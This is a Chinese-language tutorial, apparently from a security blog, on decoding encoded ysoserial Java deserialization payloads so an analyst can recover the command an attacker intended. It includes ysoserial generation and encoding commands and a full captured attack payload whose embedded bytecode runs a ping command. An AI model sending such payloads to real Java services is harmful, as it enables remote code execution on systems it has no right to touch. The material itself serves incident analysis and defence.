一种 ysoserial.jar 反序列化Payload的解码
字数 1023 2025-08-18 17:33:42

Ysoserial反序列化Payload解码教学文档

0x00 前言

本教学文档详细讲解如何解码ysoserial.jar生成的反序列化Payload,特别是处理经过编码变形的Payload(如AKztAA开头格式)。文档包含基础知识、解码步骤和实战案例。

0x01 基础知识:文件头识别

在开始解码前,需要了解几种常见的文件头:

  1. Java序列化Base64编码:以rO0AB开头
  2. Java序列化16进制:以aced开头
  3. Java class文件16进制:以cafebabe开头

工具推荐:

0x02 原始Payload生成与分析

生成原始Payload

java -jar ysoserial.jar Click1 "touch /tmp/xx" > raw_payload.bin

分析Payload

  1. 查看16进制格式:
hexdump -C raw_payload.bin
  1. 使用zkar解析:
./zkar dump -f raw_payload.bin > raw_payload_decode.txt
  1. 查找cafebabe开头的class文件16进制,保存为.class文件后用IDEA反编译

0x03 编码替换的Payload处理

编码过程

典型编码命令:

java -jar ysoserial.jar Click1 "touch /tmp/xx" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='

分解步骤:

  1. 生成原始Payload
  2. 在Payload前插入空字节(\x00)
  3. Base64编码
  4. 替换/_+-
  5. 删除等号=

解码步骤

1. 还原Base64字符和补充等号

cat encoded_payload | tr '_-' '/+' > restore_base64_lack_equal.bin

使用add_equal.sh脚本补充等号:

#!/bin/bash
file_content=$(cat restore_base64_lack_equal.bin)
base64_string=$(echo -n "$file_content" | tr -d '\n')
length=${#base64_string}
remainder=$((length % 4))
padding=$(((4 - remainder) % 4))

if ((padding > 0)); then
  padding_string=$(printf '=%.0s' $(seq 1 $padding))
  base64_string="$base64_string$padding_string"
fi

echo "$base64_string" > restore_base64.bin

2. Base64解码

cat restore_base64.bin | base64 -d > restore_00.bin

3. 跳过开头的空字节

tail -c +2 restore_00.bin > restore.bin

4. 使用zkar解析

./zkar dump -f restore.bin > restore.txt

5. 提取class文件

从解析结果中找到cafebabe开头的16进制数据,使用以下Python脚本保存为.class文件:

import re

def extract_hex_to_file(input_filename, output_filename):
    with open(input_filename, "r") as file:
        input_text = file.read()
    
    # 移除行号和竖线
    input_text = re.sub(r'[0-9a-fA-F]{8}', '', input_text)
    input_text = re.sub(r'\|.*\|', '', input_text)
    
    # 提取16进制数据
    hex_data = re.findall(r"[0-9a-fA-F]{2}(?: [0-9a-fA-F]{2})*", input_text)
    hex_string = "".join(hex_data).replace(" ", "")
    
    # 写入文件
    with open(output_filename, "wb") as file:
        file.write(bytes.fromhex(hex_string))

0x04 实战案例

攻击Payload示例

AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAa1yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ-AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAH3BpbmcgLW4gNCAtbCAxMjU1NCAxMC4yMDAuMzAuMTUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMjI3NDgxMDI2MjI4NDgBACBMeXNvc2VyaWFsL1B3bmVyMjIyNzQ4MTAyNjIyODQ4OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AJAAAAdTK_rq-AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4c3IAFGphdmEubWF0aC5CaWdJbnRlZ2VyjPyfH6k7-x0DAAZJAAhiaXRDb3VudEkACWJpdExlbmd0aEkAE2ZpcnN0Tm9uemVyb0J5dGVOdW1JAAxsb3dlc3RTZXRCaXRJAAZzaWdudW1bAAltYWduaXR1ZGV0AAJbQnhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cP_v____4AAAABdXEAfgAkAAAAAQF4eA

解码步骤

  1. 还原Base64字符:
cat target.bin | tr '_-' '/+' > target_lack_equal.bin
  1. 补充等号(使用修改后的add_equal.sh):
#!/bin/bash
if [ "$#" -ne 1 ]; then
    echo "Usage: $0 <filename>"
    exit 1
fi

filename="$1"
if [ ! -f "$filename" ]; then
    echo "File '$filename' not found."
    exit 1
fi

file_content=$(cat "$filename")
base64_string=$(echo -n "$file_content" | tr -d '\n')
length=${#base64_string}
remainder=$((length % 4))
padding=$(((4 - remainder) % 4))

if ((padding > 0)); then
    padding_string=$(printf '=%.0s' $(seq 1 $padding))
    base64_string="$base64_string$padding_string"
fi

echo "$base64_string" > target_base64.bin
  1. Base64解码:
cat target_base64.bin | base64 -d > target_00.bin
  1. 跳过开头的空字节:
tail -c +2 target_00.bin > restore.bin
  1. 使用zkar解析:
./zkar dump -f restore.bin > restore.txt
  1. 提取class文件:
import re
import sys

def remove_hex_line(input_string):
    pattern = re.compile(r'[0-9a-fA-F]{8}')
    return re.sub(pattern, '', input_string)

def remove_vertical_line(input_string):
    pattern = re.compile(r'\|.*\|')
    return re.sub(pattern, '', input_string)

def extract_hex_to_file(input_filename, output_filename):
    with open(input_filename, "r") as file:
        input_text = file.read()
    
    input_text = remove_hex_line(input_text)
    input_text = remove_vertical_line(input_text)
    
    hex_data = re.findall(r"[0-9a-fA-F]{2}(?: [0-9a-fA-F]{2})*", input_text)
    hex_string = "".join(hex_data).replace(" ", "")
    
    with open(output_filename, "wb") as file:
        file.write(bytes.fromhex(hex_string))

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python3 extract_hex.py input_filename output_filename")
        sys.exit(1)
    
    input_filename = sys.argv[1]
    output_filename = sys.argv[2]
    extract_hex_to_file(input_filename, output_filename)
  1. 反编译class文件:
    将生成的restore.class文件拖入IDEA进行反编译,查看攻击者意图执行的命令。

0x05 注意事项

  1. Payload不一致问题:ysoserial两次生成的Payload可能不同,这是正常现象
  2. 自动化工具:可以考虑将上述步骤整合为一个自动化工具,简化解码流程
  3. 实战分析:在实际分析中,需要从HTTP请求中提取jato.pageSession等参数值进行处理

通过以上步骤,可以完整解码经过编码的ysoserial反序列化Payload,并分析出攻击者意图执行的命令。

Ysoserial反序列化Payload解码教学文档 0x00 前言 本教学文档详细讲解如何解码ysoserial.jar生成的反序列化Payload,特别是处理经过编码变形的Payload(如AKztAA开头格式)。文档包含基础知识、解码步骤和实战案例。 0x01 基础知识:文件头识别 在开始解码前,需要了解几种常见的文件头: Java序列化Base64编码 :以 rO0AB 开头 Java序列化16进制 :以 aced 开头 Java class文件16进制 :以 cafebabe 开头 工具推荐: zkar :解析序列化数据 SerializationDumper :解析序列化数据 0x02 原始Payload生成与分析 生成原始Payload 分析Payload 查看16进制格式: 使用zkar解析: 查找 cafebabe 开头的class文件16进制,保存为.class文件后用IDEA反编译 0x03 编码替换的Payload处理 编码过程 典型编码命令: 分解步骤: 生成原始Payload 在Payload前插入空字节(\x00) Base64编码 替换 / 为 _ , + 为 - 删除等号 = 解码步骤 1. 还原Base64字符和补充等号 使用 add_equal.sh 脚本补充等号: 2. Base64解码 3. 跳过开头的空字节 4. 使用zkar解析 5. 提取class文件 从解析结果中找到 cafebabe 开头的16进制数据,使用以下Python脚本保存为.class文件: 0x04 实战案例 攻击Payload示例 解码步骤 还原Base64字符: 补充等号(使用修改后的add_ equal.sh): Base64解码: 跳过开头的空字节: 使用zkar解析: 提取class文件: 反编译class文件: 将生成的restore.class文件拖入IDEA进行反编译,查看攻击者意图执行的命令。 0x05 注意事项 Payload不一致问题 :ysoserial两次生成的Payload可能不同,这是正常现象 自动化工具 :可以考虑将上述步骤整合为一个自动化工具,简化解码流程 实战分析 :在实际分析中,需要从HTTP请求中提取jato.pageSession等参数值进行处理 通过以上步骤,可以完整解码经过编码的ysoserial反序列化Payload,并分析出攻击者意图执行的命令。